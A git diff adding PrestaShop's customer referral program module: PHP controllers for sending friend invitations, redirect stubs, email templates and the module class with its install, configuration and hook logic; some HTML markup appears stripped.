+ $friendEmail = strval($friendEmail); + $friendLastName = strval($friendsLastName[$key]); + $friendFirstName = strval($friendsFirstName[$key]); + + if (empty($friendEmail) AND empty($friendLastName) AND empty($friendFirstName)) + continue; + elseif (empty($friendEmail) OR !Validate::isEmail($friendEmail)) + $error = 'email invalid'; + elseif (empty($friendFirstName) OR empty($friendLastName) OR !Validate::isName($friendLastName) OR !Validate::isName($friendFirstName)) + $error = 'name invalid'; + elseif (ReferralProgramModule::isEmailExists($friendEmail) OR Customer::customerExists($friendEmail)) + $mails_exists[] = $friendEmail; + else + { + $referralprogram = new ReferralProgramModule(); + $referralprogram->id_sponsor = (int)($this->context->customer->id); + $referralprogram->firstname = $friendFirstName; + $referralprogram->lastname = $friendLastName; + $referralprogram->email = $friendEmail; + if (!$referralprogram->validateFields(false)) + $error = 'name invalid'; + else + { + if ($referralprogram->save()) + { + if (Configuration::get('PS_CIPHER_ALGORITHM')) + $cipherTool = new Rijndael(_RIJNDAEL_KEY_, _RIJNDAEL_IV_); + else + $cipherTool = new Blowfish(_COOKIE_KEY_, _COOKIE_IV_); + $vars = array( + '{email}' => strval($this->context->customer->email), + '{lastname}' => strval($this->context->customer->lastname), + '{firstname}' => strval($this->context->customer->firstname), + '{email_friend}' => $friendEmail, + '{lastname_friend}' => $friendLastName, + '{firstname_friend}' => $friendFirstName, + '{link}' => Context::getContext()->link->getPageLink('authentication', true, Context::getContext()->language->id, 'create_account=1&sponsor='.urlencode($cipherTool->encrypt($referralprogram->id.'|'.$referralprogram->email.'|')), false), + '{discount}' => $discount); + Mail::Send((int)$this->context->language->id, 'referralprogram-invitation', Mail::l('Referral Program', (int)$this->context->language->id), $vars, $friendEmail, $friendFirstName.' '.$friendLastName, strval(Configuration::get('PS_SHOP_EMAIL')), strval(Configuration::get('PS_SHOP_NAME')), NULL, NULL, dirname(__FILE__).'/../../mails/'); + $invitation_sent = true; + $nbInvitation++; + $activeTab = 'pending'; + } + else + $error = 'cannot add friends'; + } + } + if ($error) + break; + } + if ($nbInvitation > 0) + unset($_POST); + //Not to stop the sending of e-mails in case of doubloon + if(sizeof($mails_exists)) + $error = 'email exists'; + } + } + + // Mailing revive + $revive_sent = false; + $nbRevive = 0; + if (Tools::isSubmit('revive')) + { + $activeTab = 'pending'; + if (Tools::getValue('friendChecked') AND sizeof($friendsChecked = Tools::getValue('friendChecked')) >= 1) + { + foreach ($friendsChecked as $key => $friendChecked) + { + if (ReferralProgramModule::isSponsorFriend((int)($this->context->customer->id), (int)($friendChecked))) + { + if (Configuration::get('PS_CIPHER_ALGORITHM')) + $cipherTool = new Rijndael(_RIJNDAEL_KEY_, _RIJNDAEL_IV_); + else + $cipherTool = new Blowfish(_COOKIE_KEY_, _COOKIE_IV_); + $referralprogram = new ReferralProgramModule((int)($key)); + $vars = array( + '{email}' => $this->context->customer->email, + '{lastname}' => $this->context->customer->lastname, + '{firstname}' => $this->context->customer->firstname, + '{email_friend}' => $referralprogram->email, + '{lastname_friend}' => $referralprogram->lastname, + '{firstname_friend}' => $referralprogram->firstname, + '{link}' => Context::getContext()->link->getPageLink('authentication', true, Context::getContext()->language->id, 'create_account=1&sponsor='.urlencode($cipherTool->encrypt($referralprogram->id.'|'.$referralprogram->email.'|')), false), + '{discount}' => $discount + ); + $referralprogram->save(); + Mail::Send((int)$this->context->language->id, 'referralprogram-invitation', Mail::l('Referral Program', (int)$this->context->language->id), $vars, $referralprogram->email, $referralprogram->firstname.' '.$referralprogram->lastname, strval(Configuration::get('PS_SHOP_EMAIL')), strval(Configuration::get('PS_SHOP_NAME')), NULL, NULL, dirname(__FILE__).'/../../mails/'); + $revive_sent = true; + $nbRevive++; + } + } + } + else + $error = 'no revive checked'; + } + + $customer = new Customer((int)($this->context->customer->id)); + $stats = $customer->getStats(); + + $orderQuantity = (int)(Configuration::get('REFERRAL_ORDER_QUANTITY')); + $canSendInvitations = false; + + if ((int)($stats['nb_orders']) >= $orderQuantity) + $canSendInvitations = true; + + // Smarty display + $this->context->smarty->assign(array( + 'activeTab' => $activeTab, + 'discount' => $discount, + 'orderQuantity' => $orderQuantity, + 'canSendInvitations' => $canSendInvitations, + 'nbFriends' => (int)(Configuration::get('REFERRAL_NB_FRIENDS')), + 'error' => $error, + 'invitation_sent' => $invitation_sent, + 'nbInvitation' => $nbInvitation, + 'pendingFriends' => ReferralProgramModule::getSponsorFriend((int)($this->context->customer->id), 'pending'), + 'revive_sent' => $revive_sent, + 'nbRevive' => $nbRevive, + 'subscribeFriends' => ReferralProgramModule::getSponsorFriend((int)($this->context->customer->id), 'subscribed'), + 'mails_exists' => (isset($mails_exists) ? $mails_exists : array()) + )); + $this->setTemplate('program.tpl'); + } +} \ No newline at end of file diff --git a/modules/referralprogram/controllers/front/rules.php b/modules/referralprogram/controllers/front/rules.php new file mode 100755 index 0000000..fe121f1 --- /dev/null +++ b/modules/referralprogram/controllers/front/rules.php @@ -0,0 +1,57 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ReferralprogramRulesModuleFrontController extends ModuleFrontController +{ + public $content_only = true; + + public $display_header = false; + + public $display_footer = false; + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + $xmlFile = _PS_MODULE_DIR_.'referralprogram/referralprogram.xml'; + if (file_exists($xmlFile)) + { + if ($xml = @simplexml_load_file($xmlFile)) + { + $this->context->smarty->assign(array( + 'xml' => $xml, + 'paragraph' => 'paragraph_'.$this->context->language->id + )); + } + } + $this->setTemplate('rules.tpl'); + } +} \ No newline at end of file diff --git a/modules/referralprogram/controllers/index.php b/modules/referralprogram/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/index.php b/modules/referralprogram/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/logo.gif b/modules/referralprogram/logo.gif new file mode 100755 index 0000000..85de792 Binary files /dev/null and b/modules/referralprogram/logo.gif differ diff --git a/modules/referralprogram/logo.png b/modules/referralprogram/logo.png new file mode 100755 index 0000000..be8cf76 Binary files /dev/null and b/modules/referralprogram/logo.png differ diff --git a/modules/referralprogram/mails/en/index.php b/modules/referralprogram/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/mails/en/referralprogram-congratulations.html b/modules/referralprogram/mails/en/referralprogram-congratulations.html new file mode 100755 index 0000000..ea86368 --- /dev/null +++ b/modules/referralprogram/mails/en/referralprogram-congratulations.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Congratulations!
         
        Your referred friend, {sponsored_firstname} {sponsored_lastname} has placed his or her first order on {shop_name}!
         
        We are pleased to offer you a voucher worth {discount_display} (voucher # {discount_name}) that you can use on your next order.
         
        Best regards,
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/modules/referralprogram/mails/en/referralprogram-congratulations.txt b/modules/referralprogram/mails/en/referralprogram-congratulations.txt new file mode 100755 index 0000000..4d16867 --- /dev/null +++ b/modules/referralprogram/mails/en/referralprogram-congratulations.txt @@ -0,0 +1,9 @@ +Congratulations! + +Your referred friend, {sponsored_firstname} {sponsored_lastname} has placed his or her first order on {shop_url} ! + +We are pleased to offer you a voucher worth {discount_display} (voucher # {discount_name}) that you can use on your next order. + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/referralprogram/mails/en/referralprogram-invitation.html b/modules/referralprogram/mails/en/referralprogram-invitation.html new file mode 100755 index 0000000..b44cc3b --- /dev/null +++ b/modules/referralprogram/mails/en/referralprogram-invitation.html @@ -0,0 +1,58 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {firstname_friend} {lastname_friend}, join us!
         
        Your friend {firstname} {lastname} wants to refer you on {shop_name}!
         
        Get referred and earn a discount voucher of {discount}!
         
        It's very easy to sign up. Just click here!
         
        When signing up, don't forget to provide the e-mail address of your referring friend: {email}.
         
        Best regards,
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/modules/referralprogram/mails/en/referralprogram-invitation.txt b/modules/referralprogram/mails/en/referralprogram-invitation.txt new file mode 100755 index 0000000..342c7d5 --- /dev/null +++ b/modules/referralprogram/mails/en/referralprogram-invitation.txt @@ -0,0 +1,15 @@ +{firstname_friend} {lastname_friend}, join us! + +Your friend {firstname} {lastname} wants to refer you on {shop_url}. + +Get referred and earn a discount voucher of {discount}! + +It's very easy to sign up. Just click on the following link: + +{shop_url}{link} + +When signing up, don't forget to provide the e-mail address of your referring friend: {email}. + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/referralprogram/mails/en/referralprogram-voucher.html b/modules/referralprogram/mails/en/referralprogram-voucher.html new file mode 100755 index 0000000..5011e10 --- /dev/null +++ b/modules/referralprogram/mails/en/referralprogram-voucher.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {firstname} {lastname},
         
        Referral Program
         
        We have created a voucher in your name for referring a friend.
         
        Here is the code of your voucher : {voucher_num}, with an amount of {voucher_amount}.
        Simply copy/paste this code during the payment process for your next order.
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/modules/referralprogram/mails/en/referralprogram-voucher.txt b/modules/referralprogram/mails/en/referralprogram-voucher.txt new file mode 100755 index 0000000..253a76d --- /dev/null +++ b/modules/referralprogram/mails/en/referralprogram-voucher.txt @@ -0,0 +1,12 @@ +Hi {firstname} {lastname}, + +We have created a voucher in your name for referring a friend. + +Here is the code of your voucher : {voucher_num}, with an amount of {voucher_amount}. +Simply copy/paste this code during the payment process for your next order. + +Thank you for shopping at {shop_name}. + + + +{shop_url} powered by PrestaShop™ diff --git a/modules/referralprogram/referralprogram.gif b/modules/referralprogram/referralprogram.gif new file mode 100755 index 0000000..52029c5 Binary files /dev/null and b/modules/referralprogram/referralprogram.gif differ diff --git a/modules/referralprogram/referralprogram.php b/modules/referralprogram/referralprogram.php new file mode 100755 index 0000000..f781630 --- /dev/null +++ b/modules/referralprogram/referralprogram.php @@ -0,0 +1,659 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ReferralProgram extends Module +{ + public function __construct() + { + $this->name = 'referralprogram'; + $this->tab = 'advertising_marketing'; + $this->version = '1.5.1'; + $this->author = 'PrestaShop'; + + parent::__construct(); + + $this->confirmUninstall = $this->l('All sponsors and friends will be deleted. Are you sure you want to uninstall this module?'); + $this->displayName = $this->l('Customer referral program'); + $this->description = $this->l('Integrate a referral program system into your shop.'); + if (Configuration::get('REFERRAL_DISCOUNT_TYPE') == 1 AND !Configuration::get('REFERRAL_PERCENTAGE')) + $this->warning = $this->l('Please specify an amount for referral program vouchers.'); + + if ($this->id) + { + $this->_configuration = Configuration::getMultiple(array('REFERRAL_NB_FRIENDS', 'REFERRAL_ORDER_QUANTITY', 'REFERRAL_DISCOUNT_TYPE', 'REFERRAL_DISCOUNT_VALUE')); + $this->_configuration['REFERRAL_DISCOUNT_DESCRIPTION'] = Configuration::getInt('REFERRAL_DISCOUNT_DESCRIPTION'); + $this->_xmlFile = dirname(__FILE__).'/referralprogram.xml'; + } + } + + public function install() + { + $defaultTranslations = array('en' => 'Referral reward', 'fr' => 'Récompense parrainage'); + $desc = array((int)Configuration::get('PS_LANG_DEFAULT') => $this->l('Referral reward')); + foreach (Language::getLanguages() AS $language) + if (isset($defaultTranslations[$language['iso_code']])) + $desc[(int)$language['id_lang']] = $defaultTranslations[$language['iso_code']]; + + if (!parent::install() OR !$this->installDB() OR !Configuration::updateValue('REFERRAL_DISCOUNT_DESCRIPTION', $desc) + OR !Configuration::updateValue('REFERRAL_ORDER_QUANTITY', 1) OR !Configuration::updateValue('REFERRAL_DISCOUNT_TYPE', 2) + OR !Configuration::updateValue('REFERRAL_NB_FRIENDS', 5) OR !$this->registerHook('shoppingCart') + OR !$this->registerHook('orderConfirmation') OR !$this->registerHook('updateOrderStatus') + OR !$this->registerHook('adminCustomers') OR !$this->registerHook('createAccount') + OR !$this->registerHook('createAccountForm') OR !$this->registerHook('customerAccount')) + return false; + + /* Define a default value for fixed amount vouchers, for each currency */ + foreach (Currency::getCurrencies() AS $currency) + Configuration::updateValue('REFERRAL_DISCOUNT_VALUE_'.(int)($currency['id_currency']), 5); + + /* Define a default value for the percentage vouchers */ + Configuration::updateValue('REFERRAL_PERCENTAGE', 5); + + /* This hook is optional */ + $this->registerHook('displayMyAccountBlock'); + + return true; + } + + public function installDB() + { + return Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'referralprogram` ( + `id_referralprogram` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_sponsor` INT UNSIGNED NOT NULL, + `email` VARCHAR(255) NOT NULL, + `lastname` VARCHAR(128) NOT NULL, + `firstname` VARCHAR(128) NOT NULL, + `id_customer` INT UNSIGNED DEFAULT NULL, + `id_cart_rule` INT UNSIGNED DEFAULT NULL, + `id_cart_rule_sponsor` INT UNSIGNED DEFAULT NULL, + `date_add` DATETIME NOT NULL, + `date_upd` DATETIME NOT NULL, + PRIMARY KEY (`id_referralprogram`), + UNIQUE KEY `index_unique_referralprogram_email` (`email`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 ;'); + } + + public function uninstall() + { + $result = true; + foreach (Currency::getCurrencies() AS $currency) + $result = $result AND Configuration::deleteByName('REFERRAL_DISCOUNT_VALUE_'.(int)($currency['id_currency'])); + if (!parent::uninstall() OR !$this->uninstallDB() OR !$this->removeMail() OR !$result + OR !Configuration::deleteByName('REFERRAL_PERCENTAGE') OR !Configuration::deleteByName('REFERRAL_ORDER_QUANTITY') + OR !Configuration::deleteByName('REFERRAL_DISCOUNT_TYPE') OR !Configuration::deleteByName('REFERRAL_NB_FRIENDS') + OR !Configuration::deleteByName('REFERRAL_DISCOUNT_DESCRIPTION')) + return false; + return true; + } + + public function uninstallDB() + { + return Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'referralprogram`;'); + } + + public function removeMail() + { + $langs = Language::getLanguages(false); + foreach ($langs AS $lang) + foreach (array('referralprogram-congratulations', 'referralprogram-invitation', 'referralprogram-voucher') AS $name) + foreach (array('txt', 'html') AS $ext) + { + $file = _PS_MAIL_DIR_.$lang['iso_code'].'/'.$name.'.'.$ext; + if (file_exists($file) AND !@unlink($file)) + $this->_errors[] = $this->l('Cannot delete this file:').' '.$file; + } + return true; + } + + public static function displayDiscount($discountValue, $discountType, $currency = false) + { + if ((float)$discountValue AND (int)$discountType) + { + if ($discountType == 1) + return $discountValue.chr(37); // ASCII #37 --> % (percent) + elseif ($discountType == 2) + return Tools::displayPrice($discountValue, $currency); + } + return ''; // return a string because it's a display method + } + + private function _postProcess() + { + Configuration::updateValue('REFERRAL_ORDER_QUANTITY', (int)(Tools::getValue('order_quantity'))); + foreach (Tools::getValue('discount_value') AS $id_currency => $discount_value) + Configuration::updateValue('REFERRAL_DISCOUNT_VALUE_'.(int)($id_currency), (float)($discount_value)); + Configuration::updateValue('REFERRAL_DISCOUNT_TYPE', (int)(Tools::getValue('discount_type'))); + Configuration::updateValue('REFERRAL_NB_FRIENDS', (int)(Tools::getValue('nb_friends'))); + Configuration::updateValue('REFERRAL_PERCENTAGE', (int)(Tools::getValue('discount_value_percentage'))); + Configuration::updateValue('REFERRAL_DISCOUNT_DESCRIPTION', Tools::getValue('discount_description')); + $this->_html .= $this->displayConfirmation($this->l('Configuration updated.')); + } + + private function _postValidation() + { + $this->_errors = array(); + if (!(int)(Tools::getValue('order_quantity')) OR Tools::getValue('order_quantity') < 0) + $this->_errors[] = $this->displayError($this->l('Order quantity is required/invalid.')); + if (!is_array(Tools::getValue('discount_value'))) + $this->_errors[] = $this->displayError($this->l('Discount value is invalid.')); + foreach (Tools::getValue('discount_value') AS $id_currency => $discount_value) + if ($discount_value == '') + $this->_errors[] = $this->displayError(sprintf($this->l('Discount value for the currency #%d is empty.'), $id_currency)); + elseif (!Validate::isUnsignedFloat($discount_value)) + $this->_errors[] = $this->displayError(sprintf($this->l('Discount value for the currency #%d is invalid.'), $id_currency)); + if (!(int)(Tools::getValue('discount_type')) OR Tools::getValue('discount_type') < 1 OR Tools::getValue('discount_type') > 2) + $this->_errors[] = $this->displayError($this->l('Discount type is required/invalid.')); + if (!(int)(Tools::getValue('nb_friends')) OR Tools::getValue('nb_friends') < 0) + $this->_errors[] = $this->displayError($this->l('Number of friends is required/invalid.')); + if (!(int)(Tools::getValue('discount_value_percentage')) OR (int)(Tools::getValue('discount_value_percentage')) < 0 OR (int)(Tools::getValue('discount_value_percentage')) > 100) + $this->_errors[] = $this->displayError($this->l('Discount percentage is required/invalid.')); + } + + private function _writeXml() + { + $forbiddenKey = array('submitUpdate'); // Forbidden key + + // Generate new XML data + $newXml = '<'.'?xml version=\'1.0\' encoding=\'utf-8\' ?>'."\n"; + $newXml .= ''."\n"; + $newXml .= "\t".''; + // Making body data + foreach ($_POST AS $key => $field) + if ($line = $this->putContent($newXml, $key, $field, $forbiddenKey, 'body')) + $newXml .= $line; + $newXml .= "\n\t".''."\n"; + $newXml .= ''."\n"; + + /* write it into the editorial xml file */ + if ($fd = @fopen($this->_xmlFile, 'w')) + { + if (!@fwrite($fd, $newXml)) + $this->_html .= $this->displayError($this->l('Unable to write to the xml file.')); + if (!@fclose($fd)) + $this->_html .= $this->displayError($this->l('Cannot close the xml file.')); + } + else + $this->_html .= $this->displayError($this->l('Unable to update the xml file. Please check the xml file\'s writing permissions.')); + } + + public function putContent($xml_data, $key, $field, $forbidden, $section) + { + foreach ($forbidden AS $line) + if ($key == $line) + return 0; + if (!preg_match('/^'.$section.'_/i', $key)) + return 0; + $key = preg_replace('/^'.$section.'_/i', '', $key); + $field = Tools::htmlentitiesDecodeUTF8(htmlspecialchars($field)); + if (!$field) + return 0; + return ("\n\t\t".'<'.$key.'>'); + } + + public function getContent() + { + if (Tools::isSubmit('submitReferralProgram')) + { + $this->_postValidation(); + if (!sizeof($this->_errors)) + $this->_postProcess(); + else + foreach ($this->_errors AS $err) + $this->_html .= '
        '.$err.'
        '; + } + elseif (Tools::isSubmit('submitText')) + { + foreach ($_POST AS $key => $value) + if (!is_array(Tools::getValue($key)) && !Validate::isString(Tools::getValue($key))) + { + $this->_html .= $this->displayError($this->l('Invalid html field, javascript is forbidden')); + $this->_displayForm(); + return $this->_html; + } + $this->_writeXml(); + } + + $this->_html .= '

        '.$this->displayName.'

        '; + $this->_displayForm(); + $this->_displayFormRules(); + return $this->_html; + } + + private function _displayForm() + { + $divLangName = 'cpara¤dd'; + $currencies = Currency::getCurrencies(); + + $this->_html .= ' +
        +
        + '.$this->l('Settings').''.$this->l('Settings').' +

        + + +

        +

        + + +

        +

        + + + +   + + +

        + + + + + + '; + + foreach ($currencies AS $currency) + $this->_html .= ' + + + + '; + + $this->_html .= ' +
        '.$this->l('Currency').''.$this->l('Voucher amount').'
        '.(Configuration::get('PS_CURRENCY_DEFAULT') == $currency['id_currency'] ? '' : '').htmlentities($currency['name'], ENT_NOQUOTES, 'utf-8').(Configuration::get('PS_CURRENCY_DEFAULT') == $currency['id_currency'] ? '' : '').' '.$currency['sign'].'
        +

        +

        '; + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(true); + + foreach ($languages AS $language) + $this->_html .= ' +
        + +
        '; + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'dd', true); + $this->_html .= ' +

        +
        +
        +

        '; + } + + private function _displayFormRules() + { + // Languages preliminaries + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + $divLangName = 'cpara¤dd'; + + // xml loading + $xml = false; + if (file_exists($this->_xmlFile)) + if (!$xml = @simplexml_load_file($this->_xmlFile)) + $this->_html .= $this->displayError($this->l('Your text is empty.')); + + // TinyMCE + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->_html .= ' + + + + '; + else + { + $this->_html .= ' + + '; + } + $this->_html .= '
        +
        + '.$this->l('Conditions of the referral program').' +
        '; + foreach ($languages AS $language) + { + $this->_html .= ' +
        + +
        '; + } + $this->_html .= $this->displayFlags($languages, $this->context->language->id, $divLangName, 'cpara', true); + + $this->_html .= '
        +
        +
        +
        '; + } + + + /** + * Hook call when cart created and updated + * Display the discount name if the sponsor friend have one + */ + public function hookShoppingCart($params) + { + include_once(dirname(__FILE__).'/ReferralProgramModule.php'); + + if (!isset($params['cart']->id_customer)) + return false; + if (!($id_referralprogram = ReferralProgramModule::isSponsorised((int)($params['cart']->id_customer), true))) + return false; + $referralprogram = new ReferralProgramModule($id_referralprogram); + if (!Validate::isLoadedObject($referralprogram)) + return false; + $cartRule = new CartRule($referralprogram->id_cart_rule); + if (!Validate::isLoadedObject($cartRule)) + return false; + + //if ($cartRule->checkValidity($this->context) === false) + //{ + $this->smarty->assign(array('discount_display' => ReferralProgram::displayDiscount($cartRule->reduction_percent ? $cartRule->reduction_percent : $cartRule->reduction_amount, $cartRule->reduction_percent ? 1 : 2, new Currency($params['cookie']->id_currency)), 'discount' => $cartRule)); + return $this->display(__FILE__, 'shopping-cart.tpl'); + // } + return false; + } + + /** + * Hook display on customer account page + * Display an additional link on my-account and block my-account + */ + public function hookCustomerAccount($params) + { + return $this->display(__FILE__, 'my-account.tpl'); + } + + public function hookDisplayMyAccountBlock($params) + { + return $this->hookCustomerAccount($params); + } + + /** + * Hook display on form create account + * Add an additional input on bottom for fill the sponsor's e-mail address + */ + public function hookCreateAccountForm($params) + { + include_once(dirname(__FILE__).'/ReferralProgramModule.php'); + + if (Configuration::get('PS_CIPHER_ALGORITHM')) + $cipherTool = new Rijndael(_RIJNDAEL_KEY_, _RIJNDAEL_IV_); + else + $cipherTool = new Blowfish(_COOKIE_KEY_, _COOKIE_IV_); + $explodeResult = explode('|', $cipherTool->decrypt(urldecode(Tools::getValue('sponsor')))); + if ($explodeResult AND count($explodeResult) > 1 AND list($id_referralprogram, $email) = $explodeResult AND (int)($id_referralprogram) AND !empty($email) AND Validate::isEmail($email) AND $id_referralprogram == ReferralProgramModule::isEmailExists($email)) + { + $referralprogram = new ReferralProgramModule($id_referralprogram); + if (Validate::isLoadedObject($referralprogram)) + { + /* hack for display referralprogram information in form */ + $_POST['customer_firstname'] = $referralprogram->firstname; + $_POST['firstname'] = $referralprogram->firstname; + $_POST['customer_lastname'] = $referralprogram->lastname; + $_POST['lastname'] = $referralprogram->lastname; + $_POST['email'] = $referralprogram->email; + $_POST['email_create'] = $referralprogram->email; + $sponsor = new Customer((int)$referralprogram->id_sponsor); + $_POST['referralprogram'] = $sponsor->email; + } + } + return $this->display(__FILE__, 'authentication.tpl'); + } + + /** + * Hook called on creation customer account + * Create a discount for the customer if sponsorised + */ + public function hookCreateAccount($params) + { + $newCustomer = $params['newCustomer']; + if (!Validate::isLoadedObject($newCustomer)) + return false; + $postVars = $params['_POST']; + if (empty($postVars) OR !isset($postVars['referralprogram']) OR empty($postVars['referralprogram'])) + return false; + $sponsorEmail = $postVars['referralprogram']; + if (!Validate::isEmail($sponsorEmail) OR $sponsorEmail == $newCustomer->email) + return false; + + $sponsor = new Customer(); + if ($sponsor = $sponsor->getByEmail($sponsorEmail, NULL, $this->context)) + { + include_once(dirname(__FILE__).'/ReferralProgramModule.php'); + + /* If the customer was not invited by the sponsor, we create the invitation dynamically */ + if (!$id_referralprogram = ReferralProgramModule::isEmailExists($newCustomer->email, true, false)) + { + $referralprogram = new ReferralProgramModule(); + $referralprogram->id_sponsor = (int)$sponsor->id; + $referralprogram->firstname = $newCustomer->firstname; + $referralprogram->lastname = $newCustomer->lastname; + $referralprogram->email = $newCustomer->email; + if (!$referralprogram->validateFields(false)) + return false; + else + $referralprogram->save(); + } + else + $referralprogram = new ReferralProgramModule((int)$id_referralprogram); + + if ($referralprogram->id_sponsor == $sponsor->id) + { + $referralprogram->id_customer = (int)$newCustomer->id; + $referralprogram->save(); + if ($referralprogram->registerDiscountForSponsored((int)$params['cookie']->id_currency)) + { + $cartRule = new CartRule((int)$referralprogram->id_cart_rule); + if (Validate::isLoadedObject($cartRule)) + { + $data = array( + '{firstname}' => $newCustomer->firstname, + '{lastname}' => $newCustomer->lastname, + '{voucher_num}' => $cartRule->code, + '{voucher_amount}' => (Configuration::get('REFERRAL_DISCOUNT_TYPE') == 2 ? Tools::displayPrice((float)Configuration::get('REFERRAL_DISCOUNT_VALUE_'.(int)$this->context->currency->id), (int)Configuration::get('PS_CURRENCY_DEFAULT')) : (float)Configuration::get('REFERRAL_PERCENTAGE').'%')); + + $cookie = $this->context->cookie; + + Mail::Send( + (int)$cookie->id_lang, + 'referralprogram-voucher', + Mail::l('Congratulations!', (int)$cookie->id_lang), + $data, + $newCustomer->email, + $newCustomer->firstname.' '.$newCustomer->lastname, + strval(Configuration::get('PS_SHOP_EMAIL')), + strval(Configuration::get('PS_SHOP_NAME')), + null, + null, + dirname(__FILE__).'/mails/' + ); + } + } + return true; + } + } + return false; + } + + /** + * Hook display in tab AdminCustomers on BO + * Data table with all sponsors informations for a customer + */ + public function hookAdminCustomers($params) + { + include_once(dirname(__FILE__).'/ReferralProgramModule.php'); + + $customer = new Customer((int)$params['id_customer']); + if (!Validate::isLoadedObject($customer)) + die ($this->l('Incorrect Customer object.')); + + $friends = ReferralProgramModule::getSponsorFriend((int)$customer->id); + if ($id_referralprogram = ReferralProgramModule::isSponsorised((int)$customer->id, true)) + { + $referralprogram = new ReferralProgramModule((int)$id_referralprogram); + $sponsor = new Customer((int)$referralprogram->id_sponsor); + } + + $html = ' +
         
        +

        '.$this->l('Referral program').' ('.count($friends).')

        +

        '.(isset($sponsor) ? $this->l('Customer\'s sponsor:').' '.$sponsor->firstname.' '.$sponsor->lastname.'' : $this->l('No one has sponsored this customer.')).'

        '; + + if ($friends AND sizeof($friends)) + { + $html.= '

        '.sizeof($friends).' '.(sizeof($friends) > 1 ? $this->l('Sponsored customers:') : $this->l('Sponsored customer:')).'

        '; + $html.= ' + + + + + + + + + + '; + foreach ($friends AS $key => $friend) + { + $orders = Order::getCustomerOrders($friend['id_customer']); + $html.= ' + + + + + + + + + '; + } + $html.= ' +
        '.$this->l('ID').''.$this->l('Name').''.$this->l('Email').''.$this->l('Registration date').''.$this->l('Customers sponsored by this friend').''.$this->l('Placed orders').''.$this->l('Customer account created').'
        '.((int)($friend['id_customer']) ? $friend['id_customer'] : '--').''.$friend['firstname'].' '.$friend['lastname'].''.$friend['email'].''.Tools::displayDate($friend['date_add'], $this->context->language->id, true).''.sizeof(ReferralProgramModule::getSponsorFriend($friend['id_customer'])).''.($orders ? sizeof($orders) : 0).''.((int)$friend['id_customer'] ? '' : '').'
        '; + } + else + $html.= sprintf($this->l('%1$s %2$s has not sponsored any friends yet.'), $customer->firstname, $customer->lastname); + return $html.'

